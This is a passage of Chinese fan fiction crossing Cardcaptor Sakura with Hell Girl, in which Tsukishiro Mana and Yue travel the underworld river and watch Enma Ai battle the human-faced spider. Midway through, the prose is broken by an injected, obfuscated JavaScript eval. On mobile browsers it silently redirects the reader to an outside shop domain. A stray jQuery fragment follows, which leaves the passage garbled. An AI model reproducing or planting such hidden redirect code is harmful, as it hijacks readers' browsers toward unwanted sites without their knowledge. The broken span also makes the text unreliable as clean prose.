“真名大人……”
月望着他从水中钓出这尾鱼。
这尾鱼纯白,傲慢,固执起来叫人没有任何办法。
金线的距离终于缩短为零,一大一小两只手交叠,一缕红从指尖流出,染红飘扬的线。
月城真名上了船,她的脚尖刚落地,抓着月的手忽然用力一扯,将他往自己的方向带。
“好温暖。”她低下头,脑袋扎进白鸟的怀抱,“就像……太阳呢。”
魔法造物的灵魂也会有温度吗?
月城真名没有答案,也不想要知道答案,她此刻只想要拥抱、抓住这只白鸟。
缠绕在小指上的金线,染上一缕红色,飘荡在冥河上,像是具象化的缘。
冥河之水奔流不息,穿过三途川将亡灵淹没,留下无数呓语化作长风回荡。
河岸两侧,巨型骸骨躺在花丛里被青苔簇拥,惨白的色泽在鲜红月光像是刚从血液打捞出。
这只小船随着月城真名到来开始移动,它顺着冥河的脚步往下漂流,河中浸泡的骸骨感应到生者气息,脊椎上的头骨猛地一扭,发出一声咔嚓。
骸骨在水中浮沉,水面冒出一根根惨白脊柱,头骨扭转朝着天空,空洞的眼眶燃起两点鬼火死死盯着藏着生者的船只。
月城真名坐在船舷上,她的裙摆浸泡在冥河水中,藏在水中的鬼魅不断靠近,水波荡漾间遇到一缕金色。
一颗颗头骨在水面翻转,脱离脊椎链接漂浮。
黑水映出血月,幽蓝色鬼火在眼眶里闪烁,这些骷髅脑袋竟成了一盏盏灯。
生者的气息吸引着河中鬼魅,这些靠着怨恨在冥河里不肯消散的灵魂像是嗅到肉味的野狗,已经失去所有理智,只留下啃食活人的念头。
月站在月城真名身边,他看着船边不断增加的骷髅头灯,捕捉到水中一闪而过的金线。
月城真名像是感觉到月的目光,一根金线从船边伸出,缠着一具骸骨摆到水面。
她看着金线缠住这具充满怨恨的白骨:“没有手机玩,很无聊嘛。”
金线应声一绞,白骨碎成残片,只有骷髅头完好无损的掉回水面,带着两点鬼火成一盏灯。
“真名大人您没有必要来黄泉之国找我。”月注意到月城真名散开的头发,他伸出手将沾了血的白发拢在手心,“主人拒绝被复活,我对于您来说其实已经没有……”
没有利用价值,没有留在身边的理由。
“那又怎么样。”月城真名低着头,她盯着水中倒影,“我不在乎这些,你不可以离开我。”
水中倒映着船,倒映着船中人。
月将月城真名的白发扎好,他没有回应,却将一片羽毛绾在她的鬓边。
他松开手,也看向水中倒影。
月听见自己说:“真名大人,我只是主人创造出来守护库洛牌的造物。”
这样的存在甚至无法被称作“人”。
“您在意的是这样的我么?”
莫名的情绪随着这句话从胸膛里涌上来,明明灵魂不会感觉到心跳,可月却觉得自己的心跳的飞快。
他下意识将目光落在水中的月城真名,在粼粼水光里试图看清她此刻的表情。
可是河中鬼火连绵成片,随着水波荡漾,月看不请月城真名的表情。
“如果你自认是老师的遗产,作为老师唯一的学生的我。”月城真名忽然开口,系在她小指上的红线亮了起来,“理所当然会继承老师的一切,包括你。”
冥河的风在此刻静止,万籁俱静唯有心跳在说情话。
月垂下眼:“我会追随库洛牌新主。”
库洛牌的守护者,拥有自我意志的魔法造物,抛开遗产这层身份,又要如何定义他的存在?
月光披在月城真名身上,妖异的红色令一切蒙上不详意味,她站在那里,金线在水中消散,无数鬼火在水面聚集,映衬着水中赤月像个荒诞不经的梦。
月听见了,听见属于心脏的位置传来破碎声,仿佛有什么东西在他心里抽枝发芽,在占据他整颗心脏。
他看着她,毫无保留的望进那双金色的眼眸。
月于是被金色的海包裹,可那片海并未像对其他人那样掀起海啸将他吞没,而是掀起浪花将他送回岸边。
他听见她说:“那又怎么样,我又不是一个讲道理的人。”
不能继承,那就宣战!
月欲言又止,月城真名却捂住耳朵,装作听不见。
不讲道理的神裔大人等过了一会儿,继续拿自己打窝,钓了一堆怨灵,在冥河上折腾出一堆骷髅头灯。
这种动静应该会把鬼使吸引过来。
可是没有,甚至直到月收拾好自己的心情,也没有任何鬼使出现。
这实在是太奇怪了,奇怪到让人不安。
“可能是因为他们在打人面蜘蛛吧。”
月城真名在看三途川,随着船只顺流而下,彼岸的花海颜色也在从红到白。
人面蜘蛛就在白色花海深处,盘踞在冥河支流,品尝那些充满怨恨的灵魂。
作为黄泉之国唯一承认的鬼使,人面蜘蛛并不能随意前往现世。
数百年里,这家伙只选定两人有资格与它订下契约,获得它的力量成为代理鬼使,前往人间收罗充满怨恨的灵魂。
阎魔爱便是其中之一,只是随着时间流逝,她从被村民活埋献祭的无知少女转变为洞察人心的鬼使。
能够自由出入现世令阎魔爱目睹了时代的变化,她见过天灾人祸时易子而食的悲剧,也见过经济上升时期虚假梦幻的泡沫。
她的思绪随着时代变化,一步步脱离蒙昧无知。
人面蜘蛛喜欢品尝充满怨恨的灵魂,它为此创造出一种游戏——午夜零点,登录名为地狱通信的网址,留下怨恨之人的名字,地狱少女会送来稻草人,只要将稻草人身上的红绳解开,被诅咒者即刻堕入地狱。
阎魔爱便是地狱少女,她作为人面蜘蛛的使者在现世寻找充满怨恨的灵魂。
然而,她总是同情那些在契约游戏里一步步堕落的人,甚至因为恻隐之心出手干预。
可是复仇并不会带来解脱,只会带来新的怨恨
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17935546|211209||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
阎魔爱厌倦了这种循环,她想过逃避,找到新的【地狱少女】代替自己,可她仅存的良知又不愿意将无辜之人拖下水。
于是只能日复一日的煎熬,直到最后一丝良知抹灭。
她就在这种时候见到了月城真名,见到了这位被再三告诫不可接近的神裔。
擅闯黄泉之国,火烧三途川,挟持鬼使,每一条都是罪,可没有人能制裁月城真名。
哪怕是人面蜘蛛面对这位尚且年幼的神裔,竟然也只能蜷缩在冥河支流深处,不敢出现在她面前。
阎魔爱当时就想,只要能开出让月城真名无法拒绝的筹码,她一定能斩断束缚自己数百年的枷锁。
“虽然她没有开口,可是我听见了哦。”月城真名想起了那双死水一般的眼睛,“第一次见面的时候,我就听见她在心里喊我的名字。”
可是她当时没有在意,她一颗心都系在突然出现的黑猫身上。
阎魔爱注意到这一点,于是开出了更高的筹码。
轮入道将库洛·里德的记忆交给月城真名,作为投名状。
阎魔爱许诺只要人面蜘蛛被退治,她接管黄泉之国后,月城真名就会得到库洛·里德转世的下落。
“拜托,那可是老师的转世诶。虽然我答应不会复活老师,可是我又没有答应不见他的转世啊。”月城真名眨了眨眼,脸上的笑容充满狡黠,“说起来,三途川恢复得很快诶,我记得我当时那把火几乎把整片花海烧毁。”
月也想起了在花海里咆哮的火龙,他于是看向远处的彼岸花海。
和上流那片绮丽的红不一样,冥河支流的花海是雪一般的白色,哪怕天上落下的月光红若鲜血,这些花瓣竟然染不上一点颜色。
月忽然开口:“那边的蛛网上,似乎挂着鬼使……”
支流尽头,巨大的蛛网横跨冥河水面,一只三眼巨蛛趴在网中,几位鬼使被捆在蛛丝里,像是被捕获的飞虫。
漆黑的蝴蝶在蛛网里穿梭,冒着鬼火的稻草人握着太刀紧跟其后。
月城真名站在船上,看阎魔爱带着一目连大战人面蜘蛛。
“这两位鬼使打不过蜘蛛。”月观察这湖对岸这场战斗。
上次来黄泉之国他就感觉到了,比起战斗这些鬼使恐怕更擅长用智谋达成目标。
而且,这几位鬼使的感情应该非常好。
就像月城真名用操控金线操控露,其他鬼使投鼠忌器,完全不敢全力以赴,硬是拿她一个小鬼头没办法。
现在面对人面蜘蛛也是这样,几位鬼使不断突破防线,想要靠近斩杀蜘蛛,可他们过于在乎同伴安危,一直分心去保护对方,反而把自己陷入险境。
“难怪要用老师转世的下落交换我的出手。”
一道金光穿过蛛网扎进人面蜘蛛口器,缠绕在蛛网上的两只茧砸在水中,掀起大浪拍翻顺流而至的船只。
月城真名踏浪而来,落在一只茧上:“很不礼貌哦,这样对远道而来的客人诶。”
金线应声而出,几道箭光穿梭其中,直冲人面蜘蛛要害!